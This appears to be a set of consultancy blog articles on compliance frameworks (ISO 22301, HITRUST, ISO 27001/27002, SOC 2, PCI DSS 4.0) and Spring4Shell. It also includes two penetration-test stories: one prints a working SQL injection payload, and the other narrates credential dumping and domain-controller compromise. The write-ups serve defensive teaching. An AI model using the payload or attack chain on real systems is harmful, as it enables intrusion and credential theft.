What is ISO 22301 Certification: The Business Continuity Management System Standard

Written by Kiran Murthy | Naga Chinmai | Eishu Richhariya

What is ISO 22301 Certification?

ISO 22301 Certification provides a framework to plan, establish, implement, operate, monitor, review, maintain and continually improve a business continuity management system (BCMS). It is expected to help organizations protect against, prepare for, respond to, and recover when disruptive incidents arise. It provides the framework for businesses to increase their resilience and enables the organization to deal with disruptive incidents.

Need for ISO 22301 Certification

Obtaining ISO 22301 Certification should be high on the priority list of organizations that must prove to their stakeholders that they can immediately overcome operational disruptions to provide continued and effective service. Gaining ISO 22301 Certification puts the organization within an individual group of companies committed to business resilience.

  • It ensures compliance with industry standards.
  • It safeguards the brand’s interest and integrity.
  • It reduces the financial risk of an organization.
  • It gives a competitive advantage to a company.
  • It helps to protect critical business assets.

Benefits of ISO 22301

            ISO 22301 Certification, BSMS

Why do you need a Business Continuity Management System (BCMS)?

Looking back, could you have planned for Covid? The effects of Covid-19 have significantly raised awareness for Business Continuity Planning. Most office-based firms have adapted and applied their plans for a hybrid model to work from home.  However, many others did not foresee the operational impacts, including service providers and supporting customers.

For most organizations, today might be business as usual. However, problems can happen when you least expect them. Whether it’s a cyber-attack, an IT-related issue, building unavailability due to natural disasters, a planned outage, or a supply chain disaster. We’re all at risk, and sooner or later, every business will have to deal with such issues.

If there is no plan, the outcome could be much worse than they need to be.

Organizations can opt for BCMS, ISO 22301:2019, one of the best suitable options as it lays down the requirements that an organization can use for understanding the needs and necessities for business continuity policy and objectives. It helps to protect business and reputation, stay agile and resilient, and to minimize the impact of unexpected interruptions. 

Implementation Flowchart

RECOMMENDATION: DESIGNING YOUR ISO 22301 CERTIFIED BUSINESS CONTINUITY PLAN

A single disaster can put the entire organization’s structure in jeopardy. Here are a few best practises we can consider within the Information Security domain that can help keep the business running regardless of a disaster.

Process and Strategy to ensure their effectiveness

An organization cannot keep its operations running successfully without appropriate and realistic testing of its BCP/DR Plan regularly. Without this, the organization may not even know what is practically executable and what is not. Testing must be performed in a way that covers every process, from a younger failing process to the entire service being wiped out because of a tornado.  This gives a level of maturity to your plan over time and minimizes the recovery time during a disaster or crisis.

Enhance the Utilization of Virtualization

The objective must be to switch the users from the traditional environment to a virtualized environment smoothly, where they can continue their work and provide the services they always did. This helps build trust in the users, and predominantly towards the organization. It also allows the organization to continue its business seamlessly during a crisis.

Conducting Business Continuity Awareness & Training Program

Training & Awareness programs play an essential role in preparing employees and organizations for a crisis. These programs should be conducted regularly for each employee of an organization. For this, an organization can also create a Business Continuity Awareness Team, which performs regular Business Continuity Training & Awareness Programs and keeps track of the performance of every employee.  

HITRUST CERTIFICATION: IMPORTANCE IN HEALTHCARE

Being HITRUST-certified is one-way companies can demonstrate their commitment to security and privacy to clients and partners

Healthcare is one of the most highly regulated industries regarding privacy and security. There is a good reason for this, too, as personal health information (PHI) is some of the most valuable information for cybercriminals and people that commit fraud. According to the US Department of Health and Human Services 2020 Healthcare Breach Report, the average cost per breached record is $499 and can be sold for over $1000. As a result, PHI has become highly targeted by criminals, and to combat this, regulations and security standards have been created to ensure that businesses protect this information correctly. This article will discuss a popular security framework and certification in the healthcare industry called HITRUST.

What is HITRUST Certification?

HITRUST, created in 2007, is a standards and certification body that helps organizations manage information security, privacy, and regulatory compliance.

Organizations that achieve HITRUST certification have passed the framework checks and have shown an ability to adhere to the security requirements of HIPAA. 

Then there is the HITRUST CSF framework.

What is HITRUST CSF

The HITRUST CSF is a certifiable security and privacy controls framework that provides organizations with a comprehensive, flexible, and efficient approach to regulatory compliance and risk management. Developed in collaboration with data protection professionals, the HITRUST CSF provides structure, transparency, guidance, and cross-references to 40+ authoritative sources, standardizing requirements and providing clarity and consistency. The HITRUST CSF is regularly updated as mapped authoritative sources change and new sources are introduced. Because the HITRUST CSF is both risk- and compliance-based, organizations of varying risk profiles can customize the security and privacy control baselines through various factors, including organization type, size, systems, and regulatory requirements.

The HITRUST CSF assurance program combines aspects of many popular security frameworks, including ISO, NIST, PCI, and HIPAA. So it’s not limited to just evaluating companies based on HIPAA requirements. There is a roadmap that organizations can follow to achieve data security and compliance with HIPAA. 

Why is HITRUST Important in Healthcare?

Whether you are a healthcare provider or a processor of healthcare information, you have a big responsibility to ensure that you protect that information. Not only is this heavily mandated through regulations like HIPAA, but your potential clients will want to know that you can uphold these standards as part of their requirements for doing business with you. Being HITRUST certified is one-way companies can demonstrate their commitment to security and privacy to potential clients and business partners.

HITRUST vs. HIPAA

The relationship between HITRUST and HIPAA can be confusing at first. However, it’s essential to understand that they are not the same but are closely related. HIPAA stood for the Health Insurance Portability & Accountability Act and was passed by Congress in 1996. While HIPPA is a regulation created by lawmakers, HITRUST is a framework developed by security experts that covers key aspects of HIPAA compliance and draws from dozens of other authoritative sources, as well.

One of the issues organizations face with HIPAA compliance is translating somewhat vague requirements into quantifiable and measurable criteria and objectives. HITRUST helps companies achieve this by providing a framework for identifying the organization’s appropriate administrative, technical, and physical safeguards. 

HITRUST Certification Requirements

Now that we’ve discussed the value of HITRUST in the healthcare industry, let’s look at how a company can become certified. For an organization to become HITRUST certified, it must undergo a validated assessment by a HITRUST assessor firm. The company must purchase a MyCSF subscription from HITRUST and a certification report credit. Upon completion of the validated review, the organization will submit the corrective action plans required for issues that were found. The assessor firm will, in turn, assess the company’s compliance with HITRUST CSF requirements and submit the assessment to HITRUST to spot-check the assessment results. If no significant problems are identified beyond what was found in the assessment, then the organization will be awarded HITRUST certification. 

HITRUST Assessment Levels

HITRUST offers three levels of assessments, basic, current-state assessment (bC), HITRUST Implemented, 1-year assessment (i1), and HITRUST risk-based, 2-year assessment.

HITRUST Certification: Importance in Healthcare

                                                                                       Source @ HITRUST

HITRUST bC Assessment

This is the starting point for organizations seeking a HITRUST assessment. It is a standardized self-assessment that companies can perform without hiring an external assessor. It focuses on good hygiene and performs simple validations by applying HITRUST’s Intelligence Engine. The level of effort required is the lowest of all three, and it provides the lowest level of assurance and results in no HITRUST Certification. 

HITRUST i1 Validated Assessment + Certification

This assessment is considered a validation of cybersecurity best practices and is well-suited for environments with moderate risk. HITRUST stated that this assessment would be threat-adaptive to reflect the evolving threat landscape and include a static list of required security controls. The level of effort required is considered moderate by HITRUST, but it gives a good level of assurance and allows you to get a one-year certification by HITRUST. The i1 assessment must be completed annually or replaced by an r2 Validated Assessment on or before the anniversary of the i1 submission.

HITRUST r2 Validated Assessment + Certification

This fully tailored assessment considers multiple risk factors relevant to the company that is undergoing the assessment to determine its scope. The r2 is most suitable for high-risk scenarios where high-level assurance is required or expected. When an external assessor completes this, it results in a two-year certification for HITRUST as opposed to 1 year under i1. 

What is HITRUST MyCSF?

The MyCSF tool is a SaaS platform that helps organizations navigate and prepare for the HITRUST assessment process. It allows organizations to manage information risk and meet international, federal, and state regulations around privacy and security. It also helps organizations understand the gaps between their current state and international standards and best practices. Some of its key features include:

MyCSF Compliance and Reporting Pack for HIPAA:

The tool automatically compiles the list of evidence collected from your HITRUST assessment process and provides recommendations on what is required to ensure HIPAA compliance. The information from your assessments is consolidated into a report formatted by HIPAA control and populated with evidence that can be shared directly with the Office for Civil Rights (OCR) investigators.

Custom Assessments:

It can tailor assessments to fit your organization’s needs by focusing on specific regulatory factors or specific control requirements individually.

Assurance Intelligence Engine:

This feature provides automated checks that evaluate our assessment documentation and flag potential errors that may slow down the assessment review process. 

Recap

Healthcare is one of the most heavily regulated data security and privacy industries. This is why frameworks like HITRUST were created. HITRUST is not a regulation but a security framework and certification that demonstrates that the certified company adheres to security best practices, particularly the security requirements of HIPAA. Organizations that want to achieve HITRUST compliance must complete an i1 or r2 assessment by a HITRUST-certified external assessor. This certification allows other organizations to verify that this company has the proper security controls to protect PHI in their environment. The MyCSF tool is a SaaS platform that helps organizations govern risk and prepare for HITRUST assessment. If you want help getting your organization certified in HITRUST, you can book some time with one of our HITRUST experts here.

Penetration Testing: Search Engine based Reconnaissance

Written by Vivek Jaiswal

Reconnaissance is an essential phase in Penetration Testing, before actively testing targets for vulnerabilities.

It helps you widen the scope & attack surface and helps uncover potential vulnerabilities. There are already multiple open-source and proprietary automated tools available in the market to perform reconnaissance or scan any host/application for vulnerabilities, while penetration testing. However, the manual and professional approach is what gives you the actual understanding of the backend technology, it’s workflow, and helps you uncover potential vulnerabilities.

A basic reconnaissance includes:

  • Subdomain Enumeration
  • Directory Enumeration
  • Port Scanning
  • Search Engine based recon
  • Github recon
  • Shodan recon
  • Enumerating backend technologies
  • WayBack History
  • and so on

 

In this article, I will demonstrate how a simple Search Engine based Reconnaissance helped me identify a potential security vulnerability that leads to dumping the entire database – SQLi

While I was recently working on an External Network Penetration Testing project, as usual, I started with the basic reconnaissance approach.

Now, for a Network Penetration Testing activity, I started with the basic port scan and services enumeration. Once the scans were complete, I found the 80/TCP port open which is an HTTP webpage. I then quickly visited the site and found that it did not have any feature or functionality and was only a static error page.

Search Engine Based Reconnaissance

After this, I started performing some directory brute forcing using a common wordlist of directories. You can find the payload list here.

I couldn’t find any valid directory or any entry point, on trying the common directory wordlist. I then proceeded with another reconnaissance approach which was the Search Engine Based Information Discovery.

Tip: It is always better to use custom directory names wherever possible, as they are difficult to guess and brute force.

Here comes the interesting part

First, what is Search Engine based discovery or reconnaissance in penetration testing?

Search Engine based reconnaissance in simple terms is a method to extract all the information which are publicly available on the internet in the databases of various search engine(s).

Basically, all search engines work in an automated fashion where they use software known as web crawlers that explore the web regularly to find pages to add to their indexes. In fact, the vast majority of pages listed in our results aren’t manually submitted for inclusion but are found and added automatically when the web crawlers explore the web.

Coming back to our scenario:

While I was trying to enumerate via Search Engine discovery, looking for information publicly disclosed over the Internet, I came across a very interesting directory. In this article, I will call it “/unique_directory”.

Search Engine based Reconnaissance

I quickly accessed the URL (http://example.com/unique_directory) and found a simple login page.

Search Engine based Reconnaissance

I then started to poke the login page to find weaknesses that I could leverage and, in the process, I sent a single quote (‘) as the username. The server responded with an error page, and the error message indicated that there was an unclosed quotation mark, as the addition of the single quote made the backend query syntactically incorrect.

this behavior and the error message from the server,is an indication of a possible SQLi.

After numerous attempts of carefully crafting and recrafting payloads, it was observed that the servers revealed the backend database information in the error message, which confirmed the presence of a SQLi vulnerability and also the database server used in the backend.

Search Engine based Reconnaissance

Payload used: ‘) and (select CASE WHEN (substring(@@version,1,50))=1 THEN 1 ELSE 0 END )=1 and (‘1’=’1

Explanation of the payload:

The CASE statement goes through conditions and returns a value when the first condition is met (similar to an if-then-else statement). So, once a condition is true, it will stop reading and return the result. If no conditions are true, it returns the value in the ELSE clause. You can find details of the syntax here.

What are some of the preventive measures one should always consider overcoming such scenarios?

As part of your vulnerability or security management strategy, you need to continuously identify and remediate vulnerabilities in every small, medium, and large business application, because there is never a one-time or one-patch solution for vulnerabilities. The business applications, hosts, assets, and every single piece of information which are posted online need to be audited and monitored in a regular and timely fashion.

Hence, the best recommendation to overcome such scenarios is to carefully consider the sensitivity of design and configuration information before it is posted online and to periodically scan them.

Sometimes, the robots.txt files also work efficiently in preventing sensitive pages, directories, or information from being automatically crawled by search engines and getting stored in their databases.

A robots.txt file tells search engine crawlers which URLs the crawler can access on your site. This is used mainly to avoid overloading your site with requests. However, it is still not a fool proof solution.

vulnerability or security management strategy

One can also Block Search indexing with noindex: A noindex meta tag or header can be added to the HTTP response to prevent a website or other resource from showing up in Google search. Regardless of whether other websites link to it, the page will be completely removed from Google Search results when Googlebot crawls it again and notices the tag or header.

Similarly, we can also temporarily block search results from your site or manage safe search filtering.

Details on this can be found here.

Conclusion

Every piece of information available on the internet could be sensitive and can be a potential entry point for attackers, which could later be escalated to dump the entire database.

Even if you are unintentionally exposing the sensitive information, it will still be crawled through and will be indexed into the search engine Databases, which an attacker can easily extract and enumerate via search engine based discovery or Google dorking.


Useful Tip:  While performing search engine based reconnaissance, do not limit testing to just one search engine provider, as different search engines may generate different results. Search engine results can vary in a few ways, depending on when the engine last crawled content, and the algorithm the engine uses to determine relevant pages.

Every small, medium, and large application, host, API, or any piece of information posted online should be thoroughly examined. It is highly recommended to review the sensitivity of the online information on current designs and configurations, on a regular basis.

ISO 27001 AND ISO 27002 CHANGES FOR 2022

(ISO/IEC 27001:2022 and ISO/IEC 27002:2022)

Recently a publication notice was released regarding the ISO 27001 and ISO 27002 changes in 2022, which states that, “all organizations having an ISO 27001:2013 (ISMS) will be required to map and update their controls in place in accordance with the new recommendations in the revised ISO/IEC 27002:2002, considering their organizational needs and context.”

Highlight of ISO 27001 Updates

CHANGES TO ISO 27001 and ISO 27002 for 2022

ISO/IEC 27001:2022:

All organizations having an ISO 27001:2013 (ISMS) will be required to map and update their controls in place in accordance with the new recommendations in the revised ISO/IEC 27002:2002, considering their organizational needs and context.

ISO/IEC 27002:2022:

The current version of ISO 27002 that contains 114 controls divided over fourteen chapters, and  the version of ISO 27002:2022 that will contain 93 controls will all be divided over four categories/themes:

  • Chapter 5 Organizational (37 controls)
  • Chapter 6 People (8 controls)
  • Chapter 7 Physical (14 controls)
  • Chapter 8 Technological (34 controls)

THE NEW CONTROLS

The guidance section for each control have been examined and updated to reflect current advancements and practices (as necessary). Additionally, each control now has a ‘Purpose’ statement and a set of ‘Attributes’ to be used in conjunction with cybersecurity principles and other industry standards. An update to the standard also needs to factor in today’s threat landscape and security threats. The new controls are:

  1. Threat intelligence
  2. Information deletion
  3. Information security for the use of cloud services
  4. ICT readiness for business continuity
  5. Physical security monitoring
  6. Configuration management
  7. Data masking
  8. Secure coding
  9. Data leakage prevention
  10. Monitoring activities
  11. Web filtering

CONTROL ATTRIBUTES

These controls have five types of ‘attributes’ to make them easier to categorize:

  1. Control type (preventive, detective, corrective)
  2. Information security properties (confidentiality, integrity, availability)
  3. Cybersecurity concepts (identify, protect, detect, respond, recover)
  4. Operational capabilities (governance, asset management, etc.)
  5. Security domains (governance and ecosystem, protection, defense, resilience)

Timing & Enforcement:

A two-year transition period will be granted (unlike three years in several previous transitions).

FAQs ON ISO 27001 and ISO 27002

1. Will Accorian help us transition to the new revision of ISO 27001:2022?

We will assist in preparing material for the adjustments, and the organization will be able to upgrade until the 2022 revision is published, which is likely to occur soon, unless their existing ISO 27001 certificate expires after 2024, in which case, the certification bodies will conduct regular surveillance visits to ensure compliance with the new revision.  If the organization’s existing ISO 27001 certificate expires before 2024, then they will need to upgrade through subsequent re-certification.

2. We have chosen to begin implementing ISO 27001 now; which controls should we apply considering future changes?

Organizations should begin applying the clauses mentioned in the ISO 27001:2013 standard until this new standard is available. This will ensure the upcoming modifications and the work required to implement the new standard will be minimal.

2.1 How to plan a transition from ISO 27001:2013 revision to 2022 revision?

Contrary to popular belief, there will be no ISO 27001:2022 but an addendum to 27001:2013 (dubbed ISO/IEC 27001:2013+A1:2022, source). Annex A will be superseded by a normative version of ISO 27002:2022’s 93 new regulations (but without the useful hashtags).

If ISO 27001:2022 is amended, organizations who have already implemented ISO 27001:2013 are undoubtedly thinking to themselves, “Oh no, now that the 2022 revision has been published, we have to start over.” This is not true — while the 2022 revision does introduce some modifications, they are quite trivial. Organizations should plan for:

  • Assess the gap between the organization’s current controls and the new control set; update the organization’s risk assessment considering the their upcoming control update, and revise the organization’s statement of applicability considering their new risk assessment and new controls.
  • Update organizational security metrics in accordance with the organization’s new risk assessment and control procedures
  • Evaluate and alter third-party security solutions (e.g., Organization SIEM or GRC platform) to verify the artifacts used to show compliance support the new requirements.

3. Is the Auditor (certifying body) going to go through the revisions in the documentation?

If the organization is ISO 27001 Certified, the auditor will also examine documentation to determine whether the organization has made the necessary changes throughout the transition time. This will take place during regular surveillance audits.

ISO 27001 AND ISO 27002 Correlation & Differences in the updated versions of 2022

(ISO/IEC 27001:2022 and ISO/IEC 27002:2022)

ISO 27001 – A Framework for Information Security Management Systems

ISO 27001 is an ISMS (Information security management system) standard that emphasizes a risk-based approach to the management of people, processes, and technological controls. The standard’s structured nature to auditing people and technology interdependence enables the measurement, comparison, and improvement of multiple operational benchmarks if security breaches are detected.

The current standard, ISO/IEC 27001:2013, will shortly be replaced by ISO/IEC 27001:2022, the new international standard for information security management and will be renamed from “Information technology – Security techniques – Code of conduct for information security controls” to “Information security, cybersecurity, and privacy protection – Information security controls.”

Why should organizations implement ISO 27001

Businesses of all sizes face an imminent threat due to complex attacks, driven attackers and lack of current . Securing an organization’s information framework requires ensuring that security measures, controls, and policy guidelines fit the specific demands of an organization.

Adopting a proven security management system can fill gaps utilizing accurate and tried best practices. ISO 27001 is much more than a security standard. When implemented, the standard includes all stakeholders across the organization and has a scalable design that allows individuals, business units, or the whole organization to take responsibility for security in their environment.

This method aids management in strengthening security and increasing danger awareness at all levels of the organization. The ISO 27001 audit is frequently part of a more extensive organizational assessment that looks at all aspects of processes, technologies, and supply chains.

ISO 27001 a risk-based framework

Understanding that ISO 27001 is not a compliance tool but rather a risk-based framework and approach is critical. A risk-based strategy means that resources, cost, and time can be invested in minimizing threats based on the weightage of each threat and severity of the business risk. Thus making it possible to devote resources to initiatives that provide the greatest return on investment, rather than wasting time and money on “ticks in the compliance box” that have no real value.

What is the difference between ISO 27001 and 27002?

The distinguishing factor between ISO 27001 and ISO 27002 is that although an organization may achieve ISO 27001 certification, it cannot get ISO 27002 certification.

ISO 27001 is the primary standard, whereas ISO 27002 is a set of support controls that serves as a guideline and assists organizations in implementing best security practices to get ISO 27001 certification. They are following the same ISO 27000 Family.

How will the new ISO 27002 standard affect existing ISO 27001 certification or the current "first-time" implementation of the standard ?

If the 2022 revision of ISO 27001 is broadly identical to the 2013 revision, a recent version of Annex A will be applicable once the standard is published. This will be consistent with the controls specified in the new ISO 27002.

At the very least, organizations are expected to evaluate their risk assessment, identify appropriate new controls, and modify the ‘Statement of Applicability’ considering the revised ‘Annex A’. Organizations should evaluate the controls for any implementation modifications, as there are some new controls and revised guidelines for the remaining controls.

 

As previously stated, organizations are reminded that controls listed in ISO/IEC 27001 Annex A are not mandatory. ISO/IEC 27001 contains only two requirements: the use of Annex A’s control set as a reference for the comparison process (6.1.3 c)) and the development of a ‘Statement of Applicability’ (6.1.3 d)). These standards remain unaltered in ISO/IEC 27001:2022 and are essential to prevent accidental omissions.

Control themes of ISO 27001:2022

Control themes of ISO 27001:2022

Market assurance and governance

The advantages of deploying an information security management system (ISMS) is classified into these two key categories: Market Assurance and Governance.

Market Assurance refers to an information security management system’s (ISMS) ability to build market confidence in an organization’s ability to protect sensitive data. It demonstrates to external parties – clients, partners & investors that the organization will safeguard and maintain the security posture (including confidentiality, integrity, availability, and privacy of the customer’s information).

Governance is a collection of executive management responsibilities and processes to provide strategic direction, ensure objectives are being met, verify that risks are effectively managed, and validate that the enterprise’s resources are used effectively and responsibly.

To Summarize

The advantage of implementing the new controls is that because they are attribute-based, it is easier to focus on organization selections, which may reduce their compliance burden or help them see how to integrate the organization’s security processes better, thereby simplifying the implementation and management of the organization ISMS (information security management system).

WHAT IS SOC 2 COMPLIANCE

Everything you need to know about getting your SOC 2

Written by Om Hazela

Accorian has aided 100s of companies in attaining SOC 2 compliance through its end-to-end implementation services. Subsequently, our audit arm – Accorian Assurance, has enabled independently conducted audits and attestations to provide clients with their SOC 2 reports.

In the last few years, SOC 2 reports , have become the de facto way for service providers, especially SaaS companies, to showcase security assurance to their clients. Hence, it’s essential for companies that transmit, process, or, store client data. All SOC 2 reports contain a 3rd party auditors (CPA) opinion on the end company’s security posture against the requirements of the reporting standard (auditing procedure) along with scope information, exceptions, and deviations.

Such a report will aid in taking the cybersecurity question off the table by showcasing a level of security assurance to your clients and simplifying vendor evaluations & security due-diligence checks. Thus, allowing you to focus on the growth of your organization.

IS SOC 2 AN AUDITING PROCEDURE

SOC 2 is a reporting framework and auditing procedure, and not  a set of hard rules. It’s a set of best practices across various security attributes and domains with strong signals, that an organization needs to prioritize, encasing the criteria of Security, Availability, Processing Integrity, Confidentiality, and Privacy. These went on to formulate the TSCs (Trust Service Criteria) for SOC 2.

We would like to reiterate that a SOC 2 report does not prove that an organization is 100% secure, but, it’s a great baseline & starting point in your journey to instill security assurance and trust in your customers.

HOW DOES SOC 2 AID MODERN ORGANIZATIONS

Today’s modern organizations, especially service providers, need to showcase security assurance through attestations/certifications across various global, regional, and industry-focused security frameworks like ISO 27001, HIPAA, HITRUST, GDPR, CCPA, NIST CSF, etc.

Breaking down AICPA’s suite of SOC Reports

Soc stands for ‘System and Organization Controls.’” These were formerly called Service Organization Control reports. SOC is a suite of reports from the AICPA that CPA firms can issue in connection with system-level controls at a service organization.

SOC 1 – Report of your internal controls related to financial data & statements

SOC 2 – Report of your internal controls related to the 5 TSCs

SOC 3 – Report on the results of SOC 2 for public consumption

What is a SOC 2 Report?

  • A SOC 2 (System and Organization Control 2) report is an objective third-party review of an organization’s commitment to service, security, and trustworthiness via a System and Organization Controls (SOC) examination
  • A SOC 2 report is a confidential document with the auditor’s attestation. It is shared with end clients by organizations, especially service providers, to showcase assurance through internal controls for security and exceptions (if any). Thus, ensuring client data is secure. Since there are no exhaustive set of requirements, SOC 2 is different from several other information security standards and frameworks
  • End organizations are required to engage a SOC 2 auditor (CPA firm with AICPA membership) to review agreed-upon procedures relating to the organization’s internal controls and issue a report thereof.

TSC Examination (Trust Service Criteria)

SOC 2’s TSCs cover five key criteria across security. They are as follows – Security, Availability, Processing Integrity, Confidentiality, and Privacy.

TSC Examination (Trust Service Criteria)

The baseline TSC is Security, and is mandatory for all SOC 2 assessments. Often organizations choose the other TSCs based on the nature of their business and the assurance required to be showcased to clients. However, we would recommend your company be audited across all 5 TSCs to ensure that your organization securely manages client, sensitive & internal data. Thus, protecting the interests of the organization and its clients.

Types of SOC 2 Report:

  • A Type 1 report is typically sought after by companies that have a nascent security framework and maturity. For this report, auditors focus on the security framework (Policies, Procedures, and SOPs) and implementation of internal controls. They review the evidence and provide their feedback to capture the current posture against all the clauses. This capture also includes  exceptions, deviations, etc.The Type 1 report is a point-in-time assessment and does not assess control maturity. Hence, it’s ideal for companies that have recently implemented their security framework and controls.
  • A Type 2 report is ideal for companies who’ve designed, implemented, and achieved a steady state across a significant period of time. The auditor will assess the organization’s security framework and control implementation for maturity across a fixed period of time (the minimum is 6 months).

It is not mandatory to finish a Type 1 audit before a Type 2 audit. But, it is recommended for companies who are implementing security for the first or, have a nascent security posture.

Types of SOC 2

TYPICAL SOC 2 TIMELINE FOR SMB (PROCESS FLOW)

TYPICAL SOC 2 TIMELINE FOR SMB (PROCESS FLOW)

WHO NEEDS A SOC 2 REPORT?

  • An organization that offers services or that collects, manages, or transmits client data or, sensitive information is recommended to undergo a SOC 2 audit by an assessor. It can also be used by organizations to assess their current security posture across their security framework, control implementation
  • Numerous organizations are eligible for a SOC 2 report, including but not limited to

WHO NEEDS A SOC 2 REPORT

BENEFITS OF SOC 2 EXAMINATION REPORT

Few important benefits are as follows:

Benefits of SOC2

PREPARATION FOR SOC 2 & IT’S EXAMINATION:

While the scope of each SOC report varies from client to client, certain areas of focus are common to all SOC examinations. An organization can begin preparing its employees for a better control environment and, as a result, a more efficient SOC inspection by focusing on the following tasks.

PREPARATION FOR SOC 2

COMMON PITFALLS

COMMON PITFALLS

FINDING THE RIGHT PARTNER FOR YOUR SOC 2 JOURNEY

Choose your implementation & remediation advisory partner and, finally the auditor should be based on the following criteria

Partner

WHY CHOOSE ACCORIAN FOR SOC 2 EXAMINATION REPORT?

Accorian can aid you in achieving your SOC 2 report from start to finish. This would include:

  • Scoping
  • Gap Assessment
  • Security Framework Development: Writing and updating policies & procedures
  • Security Tool Implementation Services
  • vSecurity & vCISO Services – Short-term staff augmentation
  • Remediation Advisory with validated recommendations
  • Pre-audit
  • Type 1/Type 2 audits by our independent audit team
  • Sustenance services

We specialize in aiding service providers and SaaS companies.

Hence, regardless of where you are in your SOC journey or, your level of security compliance or, security posture, working with a team of experts helps reduce the time required to understand the framework, things to be implemented, and validated recommendations on tools & controls that need to be implemented.

Compromising the Domain Controller using Multiple Misconfigurations

A story of how Security Misconfiguration led to Compromising the Domain Controller

What is an Assured Breach?

Assumed breach, as the name suggests, is when an attacker has already gained access to the internal network or has compromised an employee machine. This means that the attacker has a foothold in the organization.

In our case, the approach used was the Assumed Breach Testing approach, in which the client provided us with similar access that an employee is granted on joining the organization. The target was to use this path to eventually be able to compromise the domain controller.

In short, we had the same privileges as any other employee in the organization.

Finding a Needle in a Haystack

It all began with enumerating the network and understanding the access we had, specifically the ACL group services and local admin privileges on other systems.

During this phase, we were surprised to see that the organization had over 150,000 groups including over 100,000 computer objects. So, performing the enumeration was getting all the more challenging, as the time and resources required to obtain the desired results were high and caused our terminal to crash. Also, since we were overloaded with information, extracting useful information seemed even more complex than we had fathomed.

To work around this issue, we decided to change our approach, and only enumerate current user privileges. We noticed that our current user also had local admin privileges on a different system. We accessed the other system using RDP, dumped the credentials from memory, and gained access as another user.

On further enumerating the privileges of this user, we observed that the user had local admin privilege on yet another system. Using Psexec, we could access other machines and dump credentials for another user.

We noticed this user had forced a password reset for one of the users. We quickly changed the password of this new user and gained access as this new user. While enumerating more about this new user, we realized that our access to these compromised users had been revoked, and all our enumerated accounts were locked by the blue team.

Within minutes, we were back again to Square 1. What do we do now?

New Approach Using Old Learnings

Since the blue team blocked our access to the previously compromised users, we began to enumerate the groups that our test user had been added. Bingo. We discovered that our user was part of a group, that was a member of several other groups. Interestingly, the parent group had LAPS password-read-access on a few systems, which meant we had inherited this LAPS access from the parent group as well. Using this misconfiguration, we could read the system’s clear-text password and able to gain access to systems and dump credentials for later use.

We quickly exploited this misconfiguration and added ourselves to the group. This gave us access to read the LAPS password of all systems. As we started to dump more credentials, we found one of the domain admin clear text credentials in the process. Unfortunately, we were neither able to gain access to the domain controller nor were we able to perform authentication with the credentials.

Using the newly found LAPS access, we did gain access to various other systems but were unsuccessful to gaining access to the Domain Controller, which was our primary objective.

But…

As we were getting ready to accept defeat, we noticed that one of the compromised users was also a part of the “Backup Operators” group. Voila. Backup Operator member users can also perform backup on the Domain Controller. With this back door, we hit Gold! With the machine account, we successfully dumped SAM. Using “secretdump” we dumped all the hashes from the domain controller. After dumping all the hashes, we performed the password cracking operation with our wordlist and cracked around 300 passwords successfully.

And this is how we paved the path to compromising domain controller via multiple misconfigurations

PCIDSS 4.0 from PCIDSS 3.2.1- Part 1

Introduction

PCI-DSS stands for Payment Card Industry Data Security Standard. This standard first came into the picture in 2004, and it was formed by Visa, MasterCard, Discover Financial Services, JCB International, and American Express. It is governed by PCI SSC, i.e., Payment Card Industry Security Standards Council.

Applicability– PCI-DSS applies to companies/organization which accepts, store, process and/or transmits cardholder data.

When will the new version PCIDSS v4.0 take effect?

Until March 31, 2024, PCI assessments will choose the version (v3.2.1 or v4.0) for conducting the assessment. After this date, v3.2.1 will be retired, and v4.0 will become the singular standard.

PCI-DSS v4.0 New Requirements

The new version contains a substantial number of new requirements—64 in total.

  • When using v4.0, only 13 out of 64 are mandatory.
  • Until March 2025 additional 51 remain “best practices”; after the retirement of v3.2.1, it will be mandatory to complete a PCI DSS assessment.

Changes in the Security Objective of PCI-DSS v4.0?

PCI-DSS v3.2.1 PCI-DSS v4.0
Build and Maintain Secure Network and Systems
Build and Maintain Secure Network and Systems
Protect Card Holder Data

Protect Account Data

Maintain a Vulnerability Management Program
Maintain a Vulnerability Management Program
Implement Strong Access Control Measures
Implement Strong Access Control Measures
Regularly Monitor and Test Networks
Regularly Monitor and Test Networks
Maintain an Information Security Policy
Maintain an Information Security Policy

Change in the Names of 12 PCI-DSS v4.0 Requirements

PCI-DSS v3.2.1 PCI-DSS v4.0
Install and maintain a firewall configuration to protect cardholder data

Install and maintain Network Security Control

Do not use vendor-supplied defaults for system passwords and other security parameters

Apply secure configuration to all system components

Protect stored cardholder data

Protect stored account data

Encrypt transmission of cardholder data across open, public networks

Protect cardholder data with strong cryptography during transmission over open public networks

Use and regularly update anti-virus software or programs

Protect all systems and network from malicious software

Develop and maintain secure systems and applications

Develop and maintain secure systems and software

Restrict access to cardholder data by business need to know

Restrict access to system components and cardholder data by business need to know

Assign a unique ID to each person with computer access

Identify users and authenticate access to system component

Restrict physical access to cardholder data
Restrict physical access to cardholder data
Track and monitor all access to network resources and cardholder data

Log and monitor all access to system component and cardholder data

Regularly test security systems and processes

Test security systems and networks regularly

Maintain a policy that addresses information security for all personnel

Support information security with organizational policies and programs

Type of Changes

Change Type Description

Evolving Requirements

This change is to make sure that the standard is up to date with emerging threats, technologies and changes in the Payment industry.

Clarification or Guidance

Updated wording, explanation, definition, and guidance to increase understanding.

Structure or Format

Reorganization of content.

Two Approaches

New flexibility has been provided for organizations to satisfy the PCI DSS security objectives. The two distinct techniques for PCI DSS evaluations that will be permitted under version 4.0 demonstrate this flexibility:

  1. Defined Approach- The organization is expected to comply with the stated requirements, and assessors will conduct testing procedures as mentioned within the standard.To fill gaps, compensating controls are implemented. This has been consistent since the release of PCI-DSS v3.0.

  2. Customized Approach- There is no written testing procedure to be followed by assessors, and the testing procedure will be developed by the assessor to validate the solution the entity has implemented. This approach is focused on “risk mature entities”.

Spring4Shell

Last week a Remote Code Execution vulnerability was disclosed in Spring. Spring is an open-source application framework that provides infrastructure support for creating Java applications that can be deployed on servers as independent packages. Approximately, 70 percent of all Java applications use it.

What is CVE-2022-22965?

CVE-2022-22965 was assigned to the vulnerability and is considered critical as it can result in an RCE. RCE vulnerabilities will allow a malicious actor to execute custom code of choice on the machine. The vulnerability was named after the previous infamous log4shell vulnerability, spring4shell.

The vulnerability was first reported to VMWare on March 29th, 2022 after which VMWare informed this to the spring team. On the next day, Spring started the vulnerability response procedure. It was during this process, that the vulnerability was leaked to the public and exploitation began in the wild.

Are you affected?

For the application to be vulnerable, several requirements are to be matched as laid out by Spring.

  1. JDK version 9+
  2. Apache Tomcat for serving the application
  3. Spring-webmvc or spring-webflux dependency
